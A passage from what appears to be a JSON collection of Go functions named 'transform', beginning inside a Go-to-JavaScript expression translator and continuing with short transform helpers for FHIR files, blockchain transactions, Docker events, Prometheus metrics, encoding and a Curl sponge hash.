typ.Fun.(*ast.SelectorExpr); ok {\\n\\t\\t\\te.transform(call)\\n\\n\\t\\t\\tstr := fmt.Sprintf(\\\"%s\\\", e.tr.GetArgs(e.funcName, typ.Args))\\n\\t\\t\\tif e.funcName != \\\"fmt.Sprintf\\\" && e.funcName != \\\"fmt.Sprint\\\" {\\n\\t\\t\\t\\tstr = \\\"(\\\" + str + \\\")\\\"\\n\\t\\t\\t}\\n\\n\\t\\t\\te.WriteString(str)\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\n\\t\\t// === Conversion: []byte()\\n\\t\\tif call, ok := typ.Fun.(*ast.ArrayType); ok {\\n\\t\\t\\tif call.Elt.(*ast.Ident).Name == \\\"byte\\\" {\\n\\t\\t\\t\\te.transform(typ.Args[0])\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tpanic(fmt.Sprintf(\\\"call of conversion unimplemented: []%T()\\\", call))\\n\\t\\t\\t}\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\n\\t\\t// === Built-in functions - golang.org/pkg/builtin/\\n\\t\\tcall := typ.Fun.(*ast.Ident).Name\\n\\n\\t\\tswitch call {\\n\\t\\tcase \\\"make\\\":\\n\\t\\t\\t// Type checking\\n\\t\\t\\tif e.tr.getExpression(typ.Args[0]).hasError {\\n\\t\\t\\t\\treturn\\n\\t\\t\\t}\\n\\n\\t\\t\\tswitch argType := typ.Args[0].(type) {\\n\\t\\t\\t// For slice\\n\\t\\t\\tcase *ast.ArrayType:\\n\\t\\t\\t\\tzero, _ := e.tr.zeroValue(true, argType.Elt)\\n\\n\\t\\t\\t\\te.WriteString(fmt.Sprintf(\\\"%s,%s%s\\\", zero, SP,\\n\\t\\t\\t\\t\\te.tr.getExpression(typ.Args[1]))) // length\\n\\n\\t\\t\\t\\t// capacity\\n\\t\\t\\t\\tif len(typ.Args) == 3 {\\n\\t\\t\\t\\t\\te.WriteString(\\\",\\\" + SP + e.tr.getExpression(typ.Args[2]).String())\\n\\t\\t\\t\\t}\\n\\n//\\t\\t\\t\\te.tr.slices[e.tr.funcId][e.tr.blockId][e.tr.lastVarName] = void\\n\\t\\t\\t\\te.isMake = true\\n\\n\\t\\t\\tcase *ast.MapType:\\n\\t\\t\\t\\te.tr.maps[e.tr.funcId][e.tr.blockId][e.tr.lastVarName] = void\\n\\t\\t\\t\\te.WriteString(\\\"new g.M({},\\\" + SP + e.tr.zeroOfMap(argType) + \\\")\\\")\\n\\n\\t\\t\\tcase *ast.ChanType:\\n\\t\\t\\t\\te.transform(typ.Fun)\\n\\n\\t\\t\\tdefault:\\n\\t\\t\\t\\tpanic(fmt.Sprintf(\\\"call of 'make' unimplemented: %T\\\", argType))\\n\\t\\t\\t}\\n\\n\\t\\tcase \\\"new\\\":\\n\\t\\t\\tswitch argType := typ.Args[0].(type) {\\n\\t\\t\\tcase *ast.ArrayType:\\n\\t\\t\\t\\tfor _, arg := range typ.Args {\\n\\t\\t\\t\\t\\te.transform(arg)\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\tcase *ast.Ident:\\n\\t\\t\\t\\tvalue, _ := e.tr.zeroValue(true, argType)\\n\\t\\t\\t\\te.WriteString(value)\\n\\n\\t\\t\\tdefault:\\n\\t\\t\\t\\tpanic(fmt.Sprintf(\\\"call of 'new' unimplemented: %T\\\", argType))\\n\\t\\t\\t}\\n\\n\\t\\t// == Conversion\\n\\t\\tcase \\\"string\\\":\\n\\t\\t\\targ := e.tr.getExpression(typ.Args[0]).String()\\n\\t\\t\\t_arg := stripField(arg)\\n\\n\\t\\t\\tif !e.tr.isType(sliceType, _arg) {\\n\\t\\t\\t\\te.WriteString(arg)\\n\\t\\t\\t\\te.returnBasicLit = true\\n\\t\\t\\t} else {\\n\\t\\t\\t\\te.WriteString(_arg + \\\".toString()\\\")\\n\\t\\t\\t}\\n\\n\\t\\tcase \\\"uint\\\", \\\"uint8\\\", \\\"uint16\\\", \\\"uint32\\\",\\n\\t\\t\\t\\\"int\\\", \\\"int8\\\", \\\"int16\\\", \\\"int32\\\",\\n\\t\\t\\t\\\"float32\\\", \\\"float64\\\", \\\"byte\\\", \\\"rune\\\":\\n\\t\\t\\te.transform(typ.Args[0])\\n\\t\\t\\te.returnBasicLit = true\\n\\t\\t// ==\\n\\n\\t\\tcase \\\"print\\\", \\\"println\\\":\\n\\t\\t\\te.WriteString(fmt.Sprintf(\\\"console.log(%s)\\\", e.tr.GetArgs(call, typ.Args)))\\n\\n\\t\\tcase \\\"len\\\":\\n\\t\\t\\targ := e.tr.getExpression(typ.Args[0]).String()\\n\\t\\t\\t_arg := stripField(arg)\\n\\n\\t\\t\\tif e.tr.isType(sliceType, _arg) {\\n\\t\\t\\t\\te.WriteString(_arg + \\\".len\\\")\\n\\t\\t\\t} else {\\n\\t\\t\\t\\te.WriteString(arg + \\\".length\\\")\\n\\t\\t\\t}\\n\\n\\t\\t\\te.returnBasicLit = true\\n\\n\\t\\tcase \\\"cap\\\":\\n\\t\\t\\targ := e.tr.getExpression(typ.Args[0]).String()\\n\\t\\t\\t_arg := stripField(arg)\\n\\n\\t\\t\\tif e.tr.isType(sliceType, _arg) {\\n\\t\\t\\t\\tif strings.HasSuffix(arg, \\\".f\\\") {\\n\\t\\t\\t\\t\\targ = _arg\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\n\\t\\t\\te.WriteString(arg + \\\".cap\\\")\\n\\t\\t\\te.returnBasicLit = true\\n\\n\\t\\tcase \\\"delete\\\":\\n\\t\\t\\te.WriteString(fmt.Sprintf(\\\"delete %s.f[%s]\\\",\\n\\t\\t\\t\\te.tr.getExpression(typ.Args[0]).String(),\\n\\t\\t\\t\\te.tr.getExpression(typ.Args[1]).String()))\\n\\n\\t\\tcase \\\"panic\\\":\\n\\t\\t\\te.WriteString(fmt.Sprintf(\\\"throw new Error(%s)\\\",\\n\\t\\t\\t\\te.tr.getExpression(typ.Args[0])))\\n\\n\\t\\t// === Not supported\\n\\t\\tcase \\\"recover\\\", \\\"complex\\\":\\n\\t\\t\\te.tr.addError(\\\"%s: built-in function %s()\\\",\\n\\t\\t\\t\\te.tr.fset.Position(typ.Fun.Pos()), call)\\n\\t\\t\\te.tr.hasError = true\\n\\t\\t\\treturn\\n\\t\\tcase \\\"int64\\\", \\\"uint64\\\":\\n\\t\\t\\te.tr.addError(\\\"%s: conversion of type %s\\\",\\n\\t\\t\\t\\te.tr.fset.Position(typ.Fun.Pos()), call)\\n\\t\\t\\te.tr.hasError = true\\n\\t\\t\\treturn\\n\\n\\t\\t// === Not implemented\\n\\t\\tcase \\\"append\\\", \\\"close\\\", \\\"copy\\\", \\\"uintptr\\\":\\n\\t\\t\\tpanic(fmt.Sprintf(\\\"built-in call unimplemented: %s\\\", call))\\n\\n\\t\\t// Defined functions\\n\\t\\tdefault:\\n\\t\\t\\targs := \\\"\\\"\\n\\n\\t\\t\\tfor i, v := range typ.Args {\\n\\t\\t\\t\\tif i != 0 {\\n\\t\\t\\t\\t\\targs += \\\",\\\" + SP\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\targs += e.tr.getExpression(v).String()\\n\\t\\t\\t}\\n\\n\\t\\t\\te.WriteString(fmt.Sprintf(\\\"%s(%s)\\\", call, args))\\n\\t\\t}\\n\\n\\t// godoc go/ast ChanType\\n\\t// Begin token.Pos // position of \\\"chan\\\" keyword or \\\"<-\\\" (whichever comes first)\\n\\t// Dir ChanDir // channel direction\\n\\t// Value Expr // value type\\n\\tcase *ast.ChanType:\\n\\t\\te.tr.addError(\\\"%s: channel type\\\", e.tr.fset.Position(typ.Pos()))\\n\\t\\te.tr.hasError = true\\n\\t\\treturn\\n\\n\\t// godoc go/ast CompositeLit\\n\\t// Type Expr // literal type; or nil\\n\\t// Lbrace token.Pos // position of \\\"{\\\"\\n\\t// Elts []Expr // list of composite elements; or nil\\n\\t// Rbrace token.Pos // position of \\\"}\\\"\\n\\tcase *ast.CompositeLit:\\n\\t\\tswitch compoType := typ.Type.(type) {\\n\\t\\tcase *ast.ArrayType:\\n\\t\\t\\tif !e.arrayHasElts {\\n\\t\\t\\t\\te.transform(typ.Type)\\n\\t\\t\\t}\\n\\n\\t\\t\\tif e.isEllipsis {\\n\\t\\t\\t\\te.WriteString(\\\"[\\\")\\n\\t\\t\\t\\te.writeElts(typ.Elts, typ.Lbrace, typ.Rbrace)\\n\\t\\t\\t\\te.WriteString(\\\"]\\\")\\n\\t\\t\\t\\tbreak\\n\\t\\t\\t}\\n\\n\\t\\t\\t// Slice\\n/*\\t\\t\\tif compoType.Len == nil {\\n\\t\\t\\t\\te.tr.slices[e.tr.funcId][e.tr.blockId][e.tr.lastVarName] = void\\n\\t\\t\\t}*/\\n\\t\\t\\t// For arrays with elements\\n\\t\\t\\tif len(typ.Elts) != 0 {\\n\\t\\t\\t\\tif !e.arrayHasElts && compoType.Len != nil {\\n\\t\\t\\t\\t\\te.WriteString(fmt.Sprintf(\\\"%s=%s\\\", SP+e.varName+SP, SP))\\n\\t\\t\\t\\t\\te.arrayHasElts = true\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\te.WriteString(\\\"[\\\")\\n\\t\\t\\t\\te.writeElts(typ.Elts, typ.Lbrace, typ.Rbrace)\\n\\t\\t\\t\\te.WriteString(\\\"]\\\")\\n\\n\\t\\t\\t\\te.skipSemicolon = false\\n\\t\\t\\t}\\n\\n\\t\\tcase *ast.Ident: // Custom types\\n\\t\\t\\tuseField := false\\n\\t\\t\\te.WriteString(\\\"new \\\" + typ.Type.(*ast.Ident).Name)\\n\\n\\t\\t\\tif len(typ.Elts) != 0 {\\n\\t\\t\\t\\t// Specify the fields\\n\\t\\t\\t\\tif _, ok := typ.Elts[0].(*ast.KeyValueExpr); ok {\\n\\t\\t\\t\\t\\tuseField = true\\n\\n\\t\\t\\t\\t\\te.WriteString(\\\"();\\\")\\n\\t\\t\\t\\t\\te.writeTypeElts(typ.Elts, typ.Lbrace)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t\\tif !useField {\\n\\t\\t\\t\\te.WriteString(\\\"(\\\")\\n\\t\\t\\t\\te.writeElts(typ.Elts, typ.Lbrace, typ.Rbrace)\\n\\t\\t\\t\\te.WriteString(\\\")\\\")\\n\\t\\t\\t}\\n\\n\\t\\tcase *ast.MapType:\\n\\t\\t\\t// Type checking\\n\\t\\t\\tif e.tr.getExpression(typ.Type).hasError {\\n\\t\\t\\t\\treturn\\n\\t\\t\\t}\\n\\t\\t\\te.tr.maps[e.tr.funcId][e.tr.blockId][e.tr.lastVarName] = void\\n\\n\\t\\t\\te.WriteString(\\\"new g.M({\\\")\\n\\t\\t\\te.writeElts(typ.Elts, typ.Lbrace, typ.Rbrace)\\n\\t\\t\\te.WriteString(\\\"},\\\" + SP + e.tr.zeroOfMap(compoType) + \\\")\\\")\\n\\n\\t\\tcase nil:\\n\\t\\t\\te.WriteString(\\\"[\\\")\\n\\t\\t\\te.writeElts(typ.Elts, typ.Lbrace, typ.Rbrace)\\n\\t\\t\\te.WriteString(\\\"]\\\")\\n\\n\\t\\tdefault:\\n\\t\\t\\tpanic(fmt.Sprintf(\\\"'CompositeLit' unimplemented: %T\\\", compoType))\\n\\t\\t}\\n\\n\\t// godoc go/ast Ellipsis\\n\\t// Ellipsis token.Pos // position of \\\"...\\\"\\n\\t// Elt Expr // ellipsis element type (parameter lists only); or nil\\n\\t//case *ast.Ellipsis:\\n\\n\\t// http://golang.org/doc/go_spec.html#Function_literals\\n\\t// https://developer.mozilla.org/en/JavaScript/Reference/Functions_and_function_scope#Function_constructor_vs._function_declaration_vs._function_expression\\n\\t// godoc go/ast FuncLit\\n\\t//\\n\\t// Type *FuncType // function type\\n\\t// Body *BlockStmt // function body\\n\\tcase *ast.FuncLit:\\n\\t\\te.transform(typ.Type)\\n\\t\\te.tr.getStatement(typ.Body)\\n\\n\\t// godoc go/ast FuncType\\n\\t// Func token.Pos // position of \\\"func\\\" keyword\\n\\t// Params *FieldList // (incoming) parameters; or nil\\n\\t// Results *FieldList // (outgoing) results; or nil\\n\\tcase *ast.FuncType:\\n\\t\\t//e.isFunc = true\\n\\t\\te.tr.writeFunc(nil, nil, typ)\\n\\n\\t// godoc go/ast Ident\\n\\t// Name string // identifier name\\n\\tcase *ast.Ident:\\n\\t\\tname := typ.Name\\n\\n\\t\\tswitch name {\\n\\t\\tcase \\\"iota\\\":\\n\\t\\t\\te.WriteString(IOTA)\\n\\t\\t\\te.useIota = true\\n\\n\\t\\t// Undefined value in array / slice\\n\\t\\tcase \\\"_\\\":\\n\\t\\t\\tif len(e.lenArray) == 0 {\\n\\t\\t\\t\\te.WriteString(name)\\n\\t\\t\\t}\\n\\t\\t// https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/undefined\\n\\t\\tcase \\\"nil\\\":\\n\\t\\t\\te.WriteString(\\\"undefined\\\")\\n\\t\\t\\te.isBasicLit = true\\n\\t\\t\\te.isNil = true\\n\\n\\t\\t// Not supported\\n\\t\\tcase \\\"int64\\\", \\\"uint64\\\", \\\"complex64\\\", \\\"complex128\\\":\\n\\t\\t\\te.tr.addError(\\\"%s: %s type\\\", e.tr.fset.Position(typ.Pos()), name)\\n\\t\\t\\te.tr.hasError = true\\n\\t\\t// Not implemented\\n\\t\\tcase \\\"uintptr\\\":\\n\\t\\t\\te.tr.addError(\\\"%s: unimplemented type %q\\\", e.tr.fset.Position(typ.Pos()), name)\\n\\t\\t\\te.tr.hasError = true\\n\\n\\t\\tdefault:\\n\\t\\t\\tif e.isPointer { // `*x` => `x.p`\\n\\t\\t\\t\\tname += \\\".p\\\"\\n\\t\\t\\t} else if e.isAddress { // `&x` => `x`\\n\\t\\t\\t\\te.tr.addPointer(name)\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tif !e.tr.isVar {\\n\\t\\t\\t\\t\\tisSlice := false\\n\\n\\t\\t\\t\\t\\tif e.tr.isType(sliceType, name) {\\n\\t\\t\\t\\t\\t\\tisSlice = true\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t/*if name == e.tr.recvVar {\\n\\t\\t\\t\\t\\t\\tname = \\\"this\\\"\\n\\t\\t\\t\\t\\t}*/\\n\\t\\t\\t\\t\\tif isSlice {\\n\\t\\t\\t\\t\\t\\tname += \\\".f\\\" // slice field\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tif _, ok := e.tr.vars[e.tr.funcId][e.tr.blockId][name]; ok {\\n\\t\\t\\t\\t\\t\\tname += tagPointer(false, 'P', e.tr.funcId, e.tr.blockId, name)\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\te.isIdent = true\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\n\\t\\t\\te.WriteString(name)\\n\\t\\t}\\n\\n\\t// godoc go/ast IndexExpr\\n\\t// Represents an expression followed by an index.\\n\\t// X Expr // expression\\n\\t// Lbrack token.Pos // position of \\\"[\\\"\\n\\t// Index Expr // index expression\\n\\t// Rbrack token.Pos // position of \\\"]\\\"\\n\\tcase *ast.IndexExpr:\\n\\t\\t// == Store indexes\\n\\t\\te.index = append(e.index, e.tr.getExpression(typ.Index).String())\\n\\n\\t\\t// Could be multi-dimensional\\n\\t\\tif _, ok := typ.X.(*ast.IndexExpr); ok {\\n\\t\\t\\te.transform(typ.X)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\t// ==\\n\\n\\t\\tx := e.tr.getExpression(typ.X).String()\\n\\t\\tindex := \\\"\\\"\\n\\t\\tindexArgs := \\\"\\\"\\n\\n\\t\\tfor i := len(e.index)-1; i >= 0; i-- { // inverse order\\n\\t\\t\\tidx := e.index[i]\\n\\t\\t\\tindex += \\\"[\\\" + idx + \\\"]\\\"\\n\\n\\t\\t\\tif indexArgs != \\\"\\\" {\\n\\t\\t\\t\\tindexArgs += \\\",\\\" + SP\\n\\t\\t\\t}\\n\\t\\t\\tindexArgs += idx\\n\\t\\t}\\n\\n\\t\\tif e.tr.isType(mapType, x) {\\n\\t\\t\\te.mapName = x\\n\\n\\t\\t\\tif e.tr.isVar && !e.isValue {\\n\\t\\t\\t\\te.WriteString(x + \\\".f\\\" + index)\\n\\t\\t\\t} else {\\n\\t\\t\\t\\te.WriteString(x + \\\".get(\\\" + indexArgs + \\\")[0]\\\")\\n\\t\\t\\t}\\n\\t\\t} else if e.tr.isType(sliceType, x) {\\n\\t\\t\\te.WriteString(x + \\\".f\\\" + index)\\n\\t\\t} else {\\n\\t\\t\\te.WriteString(x + index)\\n\\t\\t}\\n\\n\\t// godoc go/ast InterfaceType\\n\\t// Interface token.Pos // position of \\\"interface\\\" keyword\\n\\t// Methods *FieldList // list of methods\\n\\t// Incomplete bool // true if (source) methods are missing in the Methods list\\n\\tcase *ast.InterfaceType: // TODO: review\\n\\n\\t// godoc go/ast KeyValueExpr\\n\\t// Key Expr\\n\\t// Colon token.Pos // position of \\\":\\\"\\n\\t// Value Expr\\n\\tcase *ast.KeyValueExpr:\\n\\t\\tkey := e.tr.getExpression(typ.Key).String()\\n\\t\\texprValue := e.tr.getExpression(typ.Value)\\n\\t\\tvalue := exprValue.String()\\n\\n\\t\\tif value[0] == '[' { // multi-dimensional index\\n\\t\\t\\tvalue = \\\"{\\\" + value[1:len(value)-1] + \\\"}\\\"\\n\\t\\t}\\n\\n\\t\\te.WriteString(key + \\\":\\\" + SP + value)\\n\\n\\t// godoc go/ast MapType\\n\\t// Map token.Pos // position of \\\"map\\\" keyword\\n\\t// Key Expr\\n\\t// Value Expr\\n\\tcase *ast.MapType:\\n\\t\\t// For type checking\\n\\t\\te.tr.getExpression(typ.Key)\\n\\t\\te.tr.getExpression(typ.Value)\\n\\n\\t// godoc go/ast ParenExpr\\n\\t// Lparen token.Pos // position of \\\"(\\\"\\n\\t// X Expr // parenthesized expression\\n\\t// Rparen token.Pos // position of \\\")\\\"\\n\\tcase *ast.ParenExpr:\\n\\t\\te.transform(typ.X)\\n\\n\\t// godoc go/ast SelectorExpr\\n\\t// X Expr // expression\\n\\t// Sel *Ident // field selector\\n\\tcase *ast.SelectorExpr:\\n\\t\\tisPkg := false\\n\\t\\tx := \\\"\\\"\\n\\n\\t\\tswitch t := typ.X.(type) {\\n\\t\\tcase *ast.SelectorExpr:\\n\\t\\t\\te.transform(typ.X)\\n\\t\\tcase *ast.Ident:\\n\\t\\t\\tx = t.Name\\n\\t\\tcase *ast.IndexExpr:\\n\\t\\t\\te.transform(t)\\n\\t\\t\\te.WriteString(\\\".\\\" + typ.Sel.Name)\\n\\t\\t\\treturn\\n\\t\\tdefault:\\n\\t\\t\\tpanic(fmt.Sprintf(\\\"'SelectorExpr': unimplemented: %T\\\", t))\\n\\t\\t}\\n\\n\\t\\tif x == e.tr.recvVar {\\n\\t\\t\\tx = \\\"this\\\"\\n\\t\\t}\\n\\t\\tgoName := x + \\\".\\\" + typ.Sel.Name\\n\\n\\t\\t// Check is the selector is a package\\n\\t\\tfor _, v := range validImport {\\n\\t\\t\\tif v == x {\\n\\t\\t\\t\\tisPkg = true\\n\\t\\t\\t\\tbreak\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\t// Check if it can be transformed to its equivalent in JavaScript.\\n\\t\\tif isPkg {\\n\\t\\t\\tjsName, ok := Function[goName]\\n\\t\\t\\tif !ok {\\n\\t\\t\\t\\tjsName, ok = Constant[goName]\\n\\t\\t\\t}\\n\\n\\t\\t\\tif !ok {\\n\\t\\t\\t\\te.tr.addError(fmt.Errorf(\\\"%s: %q not supported in JS\\\",\\n\\t\\t\\t\\t\\te.tr.fset.Position(typ.Sel.Pos()), goName))\\n\\t\\t\\t\\te.tr.hasError = true\\n\\t\\t\\t\\tbreak\\n\\t\\t\\t}\\n\\n\\t\\t\\te.funcName = goName\\n\\t\\t\\te.WriteString(jsName)\\n\\t\\t} else {\\n\\t\\t\\t/*if _, ok := e.tr.zeroType[x]; !ok {\\n\\t\\t\\t\\tpanic(\\\"selector: \\\" + x)\\n\\t\\t\\t}*/\\n\\n\\t\\t\\te.WriteString(goName)\\n\\t\\t}\\n\\n\\t// godoc go/ast SliceExpr\\n\\t// X Expr // expression\\n\\t// Lbrack token.Pos // position of \\\"[\\\"\\n\\t// Low Expr // begin of slice range; or nil\\n\\t// High Expr // end of slice range; or nil\\n\\t// Rbrack token.Pos // position of \\\"]\\\"\\n\\tcase *ast.SliceExpr:\\n\\t\\tslice := \\\"0\\\"\\n\\t\\tx := typ.X.(*ast.Ident).Name\\n\\n\\t\\tif typ.Low != nil {\\n\\t\\t\\tslice = typ.Low.(*ast.BasicLit).Value // e.tr.getExpression(typ.Low).String()\\n\\t\\t}\\n\\t\\tif typ.High != nil {\\n\\t\\t\\tslice += \\\",\\\" + SP + typ.High.(*ast.BasicLit).Value // e.tr.getExpression(typ.High).String()\\n\\t\\t}\\n\\n\\t\\tif e.tr.isVar {\\n\\t\\t\\te.WriteString(x + \\\",\\\" + SP+slice)\\n\\t\\t} else {\\n\\t\\t\\te.WriteString(fmt.Sprintf(\\\"g.NewSlice(%s,%s)\\\", x, SP+slice))\\n\\t\\t}\\n\\n\\t\\te.name = x\\n\\t\\te.isSlice = true\\n\\n\\t// godoc go/ast StructType\\n\\t// Struct token.Pos // position of \\\"struct\\\" keyword\\n\\t// Fields *FieldList // list of field declarations\\n\\t// Incomplete bool // true if (source) fields are missing in the Fields list\\n\\tcase *ast.StructType:\\n\\n\\t// godoc go/ast StarExpr\\n\\t// Star token.Pos // position of \\\"*\\\"\\n\\t// X Expr // operand\\n\\tcase *ast.StarExpr:\\n\\t\\te.isPointer = true\\n\\t\\te.transform(typ.X)\\n\\n\\t// godoc go/ast UnaryExpr\\n\\t// OpPos token.Pos // position of Op\\n\\t// Op token.Token // operator\\n\\t// X Expr // operand\\n\\tcase *ast.UnaryExpr:\\n\\t\\twriteOp := true\\n\\t\\top := typ.Op.String()\\n\\n\\t\\tswitch typ.Op {\\n\\t\\t// Bitwise complement\\n\\t\\tcase token.XOR:\\n\\t\\t\\top = \\\"~\\\"\\n\\t\\t// Address operator\\n\\t\\tcase token.AND:\\n\\t\\t\\te.isAddress = true\\n\\t\\t\\twriteOp = false\\n\\t\\tcase token.ARROW:\\n\\t\\t\\te.tr.addError(\\\"%s: channel operator\\\", e.tr.fset.Position(typ.OpPos))\\n\\t\\t\\te.tr.hasError = true\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t\\tif writeOp {\\n\\t\\t\\te.WriteString(op)\\n\\t\\t}\\n\\t\\te.transform(typ.X)\\n\\n\\t// The type has not been indicated\\n\\tcase nil:\\n\\n\\tdefault:\\n\\t\\tpanic(fmt.Sprintf(\\\"unimplemented: %T\\\", expr))\\n\\t}\\n}\",\n \"func transform(sc *scope, e sexpr) sexpr {\\n\\treturn e\\n}\",\n \"func TransformCommand(c *cli.Context) error {\\n\\tif c.NArg() != 1 {\\n\\t\\tcli.ShowCommandHelp(c, \\\"transform\\\")\\n\\n\\t\\treturn fmt.Errorf(\\\"Missing required argument FILE\\\")\\n\\t}\\n\\n\\tfhirVersion := c.GlobalString(\\\"fhir\\\")\\n\\tfilename := c.Args().Get(0)\\n\\n\\tfileContent, err := ioutil.ReadFile(filename)\\n\\n\\tif err != nil {\\n\\t\\treturn errors.Wrapf(err, \\\"Error reading file %s\\\", filename)\\n\\t}\\n\\n\\titer := jsoniter.ConfigFastest.BorrowIterator(fileContent)\\n\\tdefer jsoniter.ConfigFastest.ReturnIterator(iter)\\n\\n\\tres := iter.Read()\\n\\n\\tif res == nil {\\n\\t\\treturn errors.Wrapf(err, \\\"Error parsing file %s as JSON\\\", filename)\\n\\t}\\n\\n\\tout, err := doTransform(res.(map[string]interface{}), fhirVersion)\\n\\n\\tif err != nil {\\n\\t\\treturn errors.Wrap(err, \\\"Error performing transformation\\\")\\n\\t}\\n\\n\\toutJson, err := jsoniter.ConfigFastest.MarshalIndent(out, \\\"\\\", \\\" \\\")\\n\\n\\tos.Stdout.Write(outJson)\\n\\tos.Stdout.Write([]byte(\\\"\\\\n\\\"))\\n\\n\\treturn nil\\n}\",\n \"func (UnbondDataResource) Transform(txData interface{}, context *state.CheckState) TxDataResource {\\n\\tdata := txData.(*transaction.UnbondData)\\n\\tcoin := context.Coins().GetCoin(data.Coin)\\n\\n\\treturn UnbondDataResource{\\n\\t\\tPubKey: data.PubKey.String(),\\n\\t\\tValue: data.Value.String(),\\n\\t\\tCoin: CoinResource{coin.ID().Uint32(), coin.GetFullSymbol()},\\n\\t}\\n}\",\n \"func Transform(db *gorm.DB, queries ...Query) *gorm.DB {\\n\\tfor _, q := range queries {\\n\\t\\tdb = q(db)\\n\\t}\\n\\n\\treturn db\\n}\",\n \"func (def *Definition) Transform(v interface{}) ([]Event, error) {\\n\\treturn def.g.transform(v)\\n}\",\n \"func (CreateMultisigDataResource) Transform(txData interface{}, context *state.CheckState) TxDataResource {\\n\\tdata := txData.(*transaction.CreateMultisigData)\\n\\n\\tvar weights []string\\n\\tfor _, weight := range data.Weights {\\n\\t\\tweights = append(weights, strconv.Itoa(int(weight)))\\n\\t}\\n\\n\\treturn CreateMultisigDataResource{\\n\\t\\tThreshold: strconv.Itoa(int(data.Threshold)),\\n\\t\\tWeights: weights,\\n\\t\\tAddresses: data.Addresses,\\n\\t}\\n}\",\n \"func (c *Curl) transform() {\\n\\tvar tmp [StateSize]int8\\n\\ttransform(&tmp, &c.state, uint(c.rounds))\\n\\t// for odd number of rounds we need to copy the buffer into the state\\n\\tif c.rounds%2 != 0 {\\n\\t\\tcopy(c.state[:], tmp[:])\\n\\t}\\n}\",\n \"func (e Encoder) Transform(input string) (string, error) {\\n\\tif e.ShouldDecode {\\n\\t\\tdata, err := e.GetEncoder().DecodeString(input)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn \\\"\\\", fmt.Errorf(\\\"can't decode input: %v\\\", err)\\n\\t\\t}\\n\\n\\t\\treturn string(data), nil\\n\\t}\\n\\n\\treturn e.GetEncoder().EncodeToString([]byte(input)), nil\\n}\",\n \"func transformEvent(event *APIEvents) {\\n\\t// if event version is <= 1.21 there will be no Action and no Type\\n\\tif event.Action == \\\"\\\" && event.Type == \\\"\\\" {\\n\\t\\tevent.Action = event.Status\\n\\t\\tevent.Actor.ID = event.ID\\n\\t\\tevent.Actor.Attributes = map[string]string{}\\n\\t\\tswitch event.Status {\\n\\t\\tcase \\\"delete\\\", \\\"import\\\", \\\"pull\\\", \\\"push\\\", \\\"tag\\\", \\\"untag\\\":\\n\\t\\t\\tevent.Type = \\\"image\\\"\\n\\t\\tdefault:\\n\\t\\t\\tevent.Type = \\\"container\\\"\\n\\t\\t\\tif event.From != \\\"\\\" {\\n\\t\\t\\t\\tevent.Actor.Attributes[\\\"image\\\"] = event.From\\n\\t\\t\\t}\\n\\t\\t}\\n\\t} else {\\n\\t\\tif event.Status == \\\"\\\" {\\n\\t\\t\\tif event.Type == \\\"image\\\" || event.Type == \\\"container\\\" {\\n\\t\\t\\t\\tevent.Status = event.Action\\n\\t\\t\\t} else {\\n\\t\\t\\t\\t// Because just the Status has been overloaded with different Types\\n\\t\\t\\t\\t// if an event is not for an image or a container, we prepend the type\\n\\t\\t\\t\\t// to avoid problems for people relying on actions being only for\\n\\t\\t\\t\\t// images and containers\\n\\t\\t\\t\\tevent.Status = event.Type + \\\":\\\" + event.Action\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tif event.ID == \\\"\\\" {\\n\\t\\t\\tevent.ID = event.Actor.ID\\n\\t\\t}\\n\\t\\tif event.From == \\\"\\\" {\\n\\t\\t\\tevent.From = event.Actor.Attributes[\\\"image\\\"]\\n\\t\\t}\\n\\t}\\n}\",\n \"func (a *AddLabels) Transform(mfs []*dto.MetricFamily) []*dto.MetricFamily {\\n\\tfor i := range mfs {\\n\\t\\tfor j, m := range mfs[i].Metric {\\n\\t\\t\\t// Filter out labels to add\\n\\t\\t\\tlabels := m.Label[:0]\\n\\t\\t\\tfor _, l := range m.Label {\\n\\t\\t\\t\\tif _, ok := a.Labels[l.GetName()]; !ok {\\n\\t\\t\\t\\t\\tlabels = append(labels, l)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\n\\t\\t\\t// Add all new labels to the metric\\n\\t\\t\\tfor k, v := range a.Labels {\\n\\t\\t\\t\\tlabels = append(labels, L(k, v))\\n\\t\\t\\t}\\n\\t\\t\\tsort.Sort(labelPairSorter(labels))\\n\\t\\t\\tmfs[i].Metric[j].Label = labels\\n\\t\\t}\\n\\t}\\n\\treturn mfs\\n}\",\n \"func (s *ShowCreateDatabase) TransformUp(f sql.TransformNodeFunc) (sql.Node, error) {\\n\\treturn f(s)\\n}\",\n \"func Transform[T, R any](it TryNextor[T], with func(context.Context, T) (R, error), cs ...TransformConfig) TryNextor[R] {\\n\\tr := &chunkMapping[T, R]{\\n\\t\\tinner: it,\\n\\t\\tmapper: with,\\n\\t\\tchunkMappingCfg: chunkMappingCfg{\\n\\t\\t\\tchunkSize: 1,\\n\\t\\t},\\n\\t}\\n\\tfor _, c := range cs {\\n\\t\\tc(&r.chunkMappingCfg)\\n\\t}\\n\\tif r.quota == nil {\\n\\t\\tr.quota = utils.NewWorkerPool(r.chunkSize, \\\"max-concurrency\\\")\\n\\t}\\n\\tif r.quota.Limit() > int(r.chunkSize) {\\n\\t\\tr.chunkSize = uint(r.quota.Limit())\\n\\t}\\n\\treturn r\\n}\",\n \"func fnTransform(ctx Context, doc *JDoc, params []string) interface{} {\\n\\tstats := ctx.Value(EelTotalStats).(*ServiceStats)\\n\\tif params == nil || len(params) == 0 || len(params) > 4 {\\n\\t\\tctx.Log().Error(\\\"error_type\\\", 